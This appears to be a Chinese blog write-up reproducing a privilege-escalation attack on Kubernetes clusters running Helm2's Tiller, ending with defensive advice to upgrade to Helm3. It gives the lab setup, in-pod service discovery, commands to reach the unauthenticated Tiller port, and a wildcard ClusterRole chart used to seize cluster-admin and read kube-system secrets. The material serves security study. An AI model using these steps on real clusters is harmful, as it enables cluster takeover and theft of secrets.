参考
http://rui0.cn/archives/1573

英文文章
https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/

集群后渗透测试资源
https://blog.carnal0wnage.com/2019/01/kubernetes-master-post.html

Helm介绍:

Kubernetes是一个强大的容器调度系统,通常我们会使用一些声明式的定义来在Kubernetes中部署业务。但是当我们开始部署比较复杂的多层架构时,事情往往就会没有那么简单,在这种情况下,我们需要编写和维护多个YAML文件,同时在编写时需要理清各种对象和层级关系。这是一个比较麻烦的事情,所以这个时候Helm出现了。

精选.png

我们熟悉的Python通过pip来管理包,Node.js使用npm管理包。那么在Kubernetes,我们可以使用Helm来管理。它降低了使用Kubernetes的门槛,对于开发者可以很方便的使用Helm打包,管理依赖关系,使用者可以在自己的Kubernetes通过Helm来一键部署所需的应用。
对于Helm本身可以研究的安全风险可以从很多角度来看比如Charts,Image等,详细的内容可以来看CNCF webinars关于Helm Security的一个分享(
https://www.cncf.io/webinars/helm-security-a-look-below-deck/

本篇文章主要讨论的是Helm2的安全风险,因为在Helm2开发的时候,Kubernetes的RBAC体系还没有建立完成,Kubernetes社区直到2017年10月份v1.8版本才默认采用了RBAC权限体系,所以Helm2的架构设计是存在一定安全风险的。

Helm3是在Helm2之上的一次大更改,于2019年11月份正式推出,同时Helm2开始退出历史舞台,到2020年的11月开始停止安全更新。但是目前网络上主流依然为关于Helm2的安装配置文章,所以我们这里将对使用Helm2可能造成的安全风险进行讨论。

Helm2架构

Helm2是CS架构,包括客户端和服务端,即Client和Tiller

Helm Client主要负责跟用户进行交互,通过命令行就可以完成Chart的安装、升级、删除等操作。在收到前端的命令后就可以传输给后端的Tiller使之与集群通信。
其中Tiller是Helm的服务端主要用来接收Helm Client的请求,它们的请求是通过gRPC来传输。实际上它的主要作用就是在Helm2和Kubernetes集群中起到了一个中间人的转发作用,Tiller可以完成部署Chart,管理Release以及在Kubernetes中创建应用。
官方在更新到Helm3中这样说过:

从kubernetes 1.6开始默认开启RBAC。这是Kubernetes安全性/企业可用的一个重要特性。但是在RBAC开启的情况下管理及配置Tiller变的非常复杂。为了简化Helm的尝试成本我们给出了一个不需要关注安全规则的默认配置。但是,这会导致一些用户意外获得了他们并不需要的权限。并且,管理员/SRE需要学习很多额外的知识才能将Tiller部署的到关注安全的生产环境的多租户K8S集群中并使其正常工作。

所以通过我们了解在Helm2这种架构设计下Tiller组件通常会被配置为非常高的权限,也因此会造成安全风险。

  1. 对外暴露端口
  2. 拥有和Kubernetes通信时的高权限(可以进行创建,修改和删除等操作)

因此对于目前将使用Helm的人员请安装Helm3,对于Helm2的使用者请尽快升级到Helm3。针对Helm3,最大的变化就是移除掉Tiller,由此大大简化了Helm的安全模型实现方式。Helm3现在可以支持所有的kubernetes认证及鉴权等全部安全特性。Helm和本地的kubeconfig flie中的配置使用一致的权限。管理员可以按照自己认为合适的粒度来管理用户权限。

安全风险复现

配置Helm2

参考
https://www.cnblogs.com/keithtt/p/13171160.html

官方文档有helm2的快速安装
https://v2.helm.sh/docs/using_helm/#special-note-for-rbac-users

1、使用二进制安装包安装helm客户端

wget https://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gz
tar xvf helm-v2.16.9-linux-amd64.tar.gz
cd linux-amd64
cp -a helm /usr/local/bin/

2、设置命令行自动补全

echo "source <(helm completion bash)" >> ~/.bashrc

3、安装tiller服务端

创建服务账户ServiceAccount:

由于目前K8s都默认启用基于角色的访问控制RBAC,因此,需要为TillerPod创建一个具有正确角色和资源访问权限的ServiceAccount,参考
https://v2.helm.sh/docs/using_helm/#special-note-for-rbac-users
以及
https://blog.ropnop.com/attacking-default-installs-of-helm-on-kubernetes/

Tiller Pod需要提升权限才能与Kubernetes API通信,对服务账户权限的管理通常很棘手且被忽视,因此启动和运行的最简单方法是为Tiller创建一个具有完整集群官员权限的服务账户。

要创建具有cluster-admin权限的ServiceAccount,在YAML中定义一个新的ServiceAccount和ClutserRoleBinding资源文件:

这个操作创建了名为tiller的ServiceAccount,并生成一个secrets token认证文件,为该账户提供完整的集群管理员权限。

# 创建名为tiller的ServiceAccount 并绑定搭配集群管理员 cluster-admin
apiVersion: v1
kind: ServiceAccount
metadata:
  name: tiller
  namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: tiller
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
  - kind: ServiceAccount
    name: tiller
    namespace: kube-system
# 创建
kubectl apply -f helm-rbac.yam

4、初始化Helm

使用新ServiceAccount服务账号初始化Helm,

--tiller-image
指定使用的 Tiller 镜像

--stable-repo-url string
指定稳定存储库的 URL(默认为 "
https://kubernetes-charts.storage.googleapis.com")
,这里指定了 Azure 中国的 Helm 仓库地址来加速 Helm 包的下载。

helm init --service-account tiller --tiller-image=registry.cn-hangzhou.aliyuncs.com/google_containers/tiller:v2.16.6 --stable-repo-url http://mirror.azure.cn/kubernetes/charts
kubectl get deployment tiller-deploy -n kube-system
helm version
Client: &version.Version{SemVer:"v2.16.9", GitCommit:"8ad7037828e5a0fca1009dabe290130da6368e39", GitTreeState:"clean"}
Server: &version.Version{SemVer:"v2.16.6", GitCommit:"dd2e5695da88625b190e6b22e9542550ab503a47", GitTreeState:"clean"}

这个命令会设置客户端,并且在kube-system命名空间中为Tiller创建deployment和service,标签为label app=helm

kubectl -n kube-system get all -l 'app=helm'

也可以查看Tiller deployment被设定为集群管理员服务账号tiller,命令:

kubectl -n kube-system get deployments -l 'app=helm' -o jsonpath='{.items[0].spec.template.spec.serviceAccount}'

5、添加repo,这里需要更改为可用的镜像源

1)官方镜像源为
https://charts.helm.sh/stable

配置官方镜像源命令:
helm repo add stable https://charts.helm.sh/stable

2)GitPage镜像:参考 https://github.com/BurdenBear/kube-charts-mirror 搭建一个自主可控的镜像源 (参考2 http://charts.ost.ai/

3)Aliyun镜像:长时间未更新,版本较旧

helm repo add stable  https://kubernetes.oss-cn-hangzhou.aliyuncs.com/charts/

4)Azure镜像源(有博客说2021.7.8已不可用,但亲测可用)

helm repo add stable http://mirror.azure.cn/kubernetes/charts/
helm repo add incubator http://mirror.azure.cn/kubernetes/charts-incubator/

这里用Azure的镜像源(阿里镜像源过于老,只支持  extensions/v1beta1 版本的 Deployment 对象)

helm repo add stable http://mirror.azure.cn/kubernetes/charts/
# 查看repo配置列表
helm repo list

6、更新repo

helm repo update

7、安装一个app

helm install stable/nginx-ingress --name nginx-ingress --namespace nginx-ingress
helm install stable/owncloud --name owncloud --namespace owncloud
helm ls -a

8、删除一个app

helm delete --purge owncloud

9、卸载helm(tiller)

helm reset --force
kubectl delete service/tiller-deploy -n kube-system
kubectl delete deployment.apps/tiller-deploy -n kube-system

创建应用

上面成功安装Helm2之后,可以看到Tiller已被部署到Kube-system的命名空间下

通过Helm来部署应用,helm install stable/tomcat --name my-tomcat

在没有使用其他flag时,Tiller将所有资源部署到default命名空间中,–name字段将作为release标签应用到资源上,因此可以使用 kubectl get all -l 'release=my-tomcat' 这个命令查看Helm部署的名为my-tomcat的所有资源

Helm通过LoadBalancer服务为我们暴露端口,因此我们如果访问列出的EXTERNAL-IP,可以看到tomcat启动并运行

查看部署情况

模拟入侵

针对集群内的攻击,模拟Tomcat服务被入侵,攻击者拿到了容器的控制权。

通过exec进入容器内:kubectl exec -it my-tomcat-b976c48b6-rfzv8 -- /bin/bash

登录shell后,有几个指标可以快速判断这是一个运行在K8s集群上的容器:

  • /.dockerenv
    文件存在,说明我们在Docker容器里
  • 有几个Kubernetes相关的环境变量

集群后渗透利用有个很好的总结可以参考
https://blog.carnal0wnage.com/2019/01/kubernetes-master-post.html

在k8s环境下的渗透,通常会首先看其中的环境变量,获取集群的相关信息,服务位置以及一些敏感配置文件

了解了k8s API等位置后我们可以通过curl等方式去尝试请求,看是否配置授权,是403禁止匿名访问的;即使我们可以和Kubernetes API交互,但是因为RBAC启用,我们无法获取任何信息

服务侦查

默认情况下,k8s使用kube-dns,查看/etc/resolv.conf可以看到此pod配置使用kube-dns。因为kube-dns中的DNS名遵循这个格式:<svc_name>.<namespace>.svc.cluster.local

利用这个域名解析,我们能够找到其他一些服务,虽然我们在default命名空间中,但重要的是namespace不提供任何安全保障,默认情况下,没有阻止跨命名空间通信的网络策略。

这里我们可以查询在kube-system命名空间下运行的服务,如kube-dns服务本身:注意我们使用的是getent查询域名,因为pod中可能没安装任何标准的dns工具。

$ getent hosts kube-dns.kube-system.svc.cluster.local
10.96.0.10      kube-dns.kube-system.svc.cluster.local

通过DNS枚举其他namespace下正在运行的服务。Tiller在命名空间kube-system中如何创建服务的?它默认名称为tiller-deploy,如果我们用DNS查询可以看到存在的位置。

很好,Tiller安装在了集群中,如何滥用它呢

了解Helm与K8s集群通信方式

Helm 与 kubernetes 集群通信的方式是通过 gRPC 与
tiller-deploy
pod 通信。然后,pod 使用其服务帐户token与 Kubernetes API 通信。当客户端运行Helm命令时,实际上是通过端口转发到集群中,直接与
tiller-deploy
Service通信

该Service始终指向TCP 44134 上的
tiller-deploy
Pod

这种方式可以让Helm命令直接与Tillerr-deploy Pod进行交互,而不必暴露K8s API的直接访问权限给Helm客户端。

也就是说,集群外的用户必须有能力转发访问到集群的端口,因为TCP 44134端口无法从集群外部访问。

然而,对于在K8s集群内的用户而言,44134 TCP端口是可访问的,不用端口转发。

用curl验证端口是否打开: curl tiller-deploy.kube-system.svc.cluster.local:44134

curl失败,但能connect成功连接,因为此端点是与gRPC通信,而不是HTTP。

目前已知我们可以访问端口,如果我们可以发送正确的信息,则可以直接与Tiller通信,因为默认情况下,Tiller不需要进行任何身份验证就可以与gRPC通信。在这个默认安装中Tiller以集群管理员权限运行,基本上可以在没有任何身份验证的情况下运行集群管理命令。

与Tiller通过gRPC通信

所有 gRPC 端点都以Protobuf 格式在
源代码
中定义,因此任何人都可以创建客户端来与 API 通信。但是与 Tiller 通信的最简单方法就是通过普通的 Helm 客户端,它无论如何都是静态二进制文件。

在pod 上,我们可以
helm

官方版本
下载二进制文件。下载并解压到 /tmp:注意可能需要指定下载特定版本。

Helm 提供了 --host 和 HELM_HOST 环境变量选项,可以指定直接连接到 Tiller 的地址。通过使用 Tiller-deploy Service 的完全限定域名(FQDN),我们可以直接与 Tiller Pod 进行通信并运行任意 Helm 命令。

./helm --host tiller-deploy.kube-system.svc.cluster.local:44134 ls

这样我们可以完全控制Tiller,可以做cluster-admin可以用Helm做的任何事情。包括安装 升级 删除版本。但我们仍然不能直接与K8s API通信,所以我们需要滥用Tiller来升级权限成为完整的cluster-admin

针对Helm-Tiller攻击

1、首先通过DNS查看是否存在Tiller服务。为了交互,Tiller的端口会被开放到集群内,根据命名规则我们可以尝试默认Tiller的名称

curl tiller-deploy.kube-system:44134 --output out

可以看到端口是开放的,不过因为连接时通过gRPC的方式交互,所以使用HTTP无法连接。同时在这种情况下我们可以连接Tiller,通过它可以在没有身份验证的情况下执行k8s内的操作

我们可以通过gRPC方式使用Protobuf格式来与其交互,但是过于麻烦。

这里最简单的方式是我们通过Client直接与Tiller连接

2、下载helm客户端到tmp目录下:

wget https://get.helm.sh/helm-v2.16.9-linux-amd64.tar.gz && tar xvf helm-v2.16.9-linux-amd64.tar.gz

尝试请求tiller:
./helm --host tiller-deploy.kube-system:44134 version

连接成功

这意味着我们可以做很多事情。

一个较为麻烦的方式是:比如窃取高权限用户的token,因为我们可以控制tiller意味着我们可以使用这个权限的账户来创建pod,从而获取创建pod后,能够获取到创建pod的token。挂载在pod内路径下/var/run/secrets/
kubernetes.io/serviceaccount/token
。这个token在创建对应pod时被挂载,可以利用这个token完成对k8s的交互。

更加简单粗暴的方式:

1)先下载一个kubectl方便后期交互

查看当前权限可以做的事情
kubectl auth can-i --list

2)查看当前权限能否读取secrets

./kubectl get secrets -n kube-system

看到目前权限不够,我们想要获取到整个集群的权限,即我们希望有一个可以访问所有namespace的ServiceAccount。我们可以把default这个SA赋予ClutsterRole RBAC中的全部权限。

3、这时候需要使用ClusterRole和ClusterRoleBinding这两种对象

  • ClusterRole
    ClusterRole对象可以授予整个集群范围内资源访问权限, 也可以对以下几种资源的授予访问权限:
    • 集群范围资源(例如节点,即node)
    • 非资源类型endpoint(例如”/healthz”)
    • 跨所有namespaces的范围资源(例如pod,需要运行命令kubectl get pods –all-namespaces来查询集群中所有的pod)
  • ClusterRoleBinding
    ClusterRoleBinding在整个集群级别和所有namespaces将特定的subject与ClusterRole绑定,授予权限。

创建两个资源:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: all-your-base
rules:
  - apiGroups: ["*"]
    resources: ["*"]
    verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: belong-to-us
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: all-your-base
subjects:
  - kind: ServiceAccount
    namespace: {{ .Values.namespace }}
    name: {{ .Values.name }}

将它们生成为对应的chart,并下载到被攻击的容器中,之后使用Client进行安装,配置之后便可以进行高权限操作

4、生成charts并安装的过程:

在 Helm 中,可以使用
helm create
命令创建一个新的 Chart,并使用
helm package
命令将 Chart 打包成一个
.tgz
文件,可以在其他机器上使用
helm install
命令来安装该 Chart。

以下是一个简单的示例,演示如何创建一个名为
mychart
的 Chart 并将其打包:

  1. 创建 Chart,该命令将会在当前目录下创建一个 mychart 目录,包含 Chart 所需的模板和示例文件。

    在命令行中执行以下命令,创建一个名为
    mychart
    的 Chart:$ helm create mychart

  2. 修改 Chart


    mychart
    目录中,可以根据需要修改
    Chart.yaml

    values.yaml

    templates
    目录中的模板文件,以定义 Chart 所包含的应用程序、服务和资源等。

  3. 打包 Chart,该命令将会在当前目录下生成一个名为 mychart-x.x.x.tgz 的文件,其中 x.x.x 表示 Chart 的版本号。

    在命令行中执行以下命令,将 Chart 打包成一个
    .tgz
    文件:$ helm package mychart

  4. 下载 Chart:$ helm install mychart mychart-x.x.x.tgz

    可以将生成的 .tgz 文件复制到其他机器上,然后使用 helm install 命令来安装 Chart。例如,执行以下命令将 Chart 安装到 Kubernetes 集群中;

    其中 mychart 是 Chart 的名称,mychart-x.x.x.tgz 是 Chart 打包后的文件名。

直接使用
https://github.com/Ruil1n/helm-tiller-pwn
这里打包好的文件就行

如果有报错提示,需要修改charts打包文件中的模板内容,为支持的版本

错误提示通常是由于 Kubernetes API Server 不支持
rbac.authorization.k8s.io/v1beta1
版本的 ClusterRole 和 ClusterRoleBinding 对象引起的。

这是因为从 Kubernetes 1.22 开始,
rbac.authorization.k8s.io/v1beta1
版本的 ClusterRole 和 ClusterRoleBinding 已经被废弃,并在 Kubernetes 1.22 版本中已经完全删除。

./helm --host  tiller-deploy.kube-system:44134 install pwnchart

可以看到我们提升权限成功,现在已经能够获取到kube-system下的secrets,同时可以进行其他操作。

总结

Helm简化了Kubernetes应用的部署和管理,越来越多的人在生产环境中使用它来部署和管理应用。Helm3是在Helm2之上的一次大更改,主要就是移除了Tiller。由于Helm2基本是去年(2020)年末才完全停止支持,目前仍有大量开发者在使用,所以依旧存在大量安全风险。本文主要从集群内攻击的角度来展示了使用Tiller获取Kubernetes的高权限并且完成敏感操作。
最后我们来说一下如何防御,如果你坚持希望使用Tiller,那么请一定要注意不要对外开放端口,同时配置TLS认证以及严格的RBAC认证(
https://github.com/michelleN/helm-tiller-rbac
)。这里更建议大家尽快升级Helm2到Helm3以及直接使用Helm3。

标签: none

添加新评论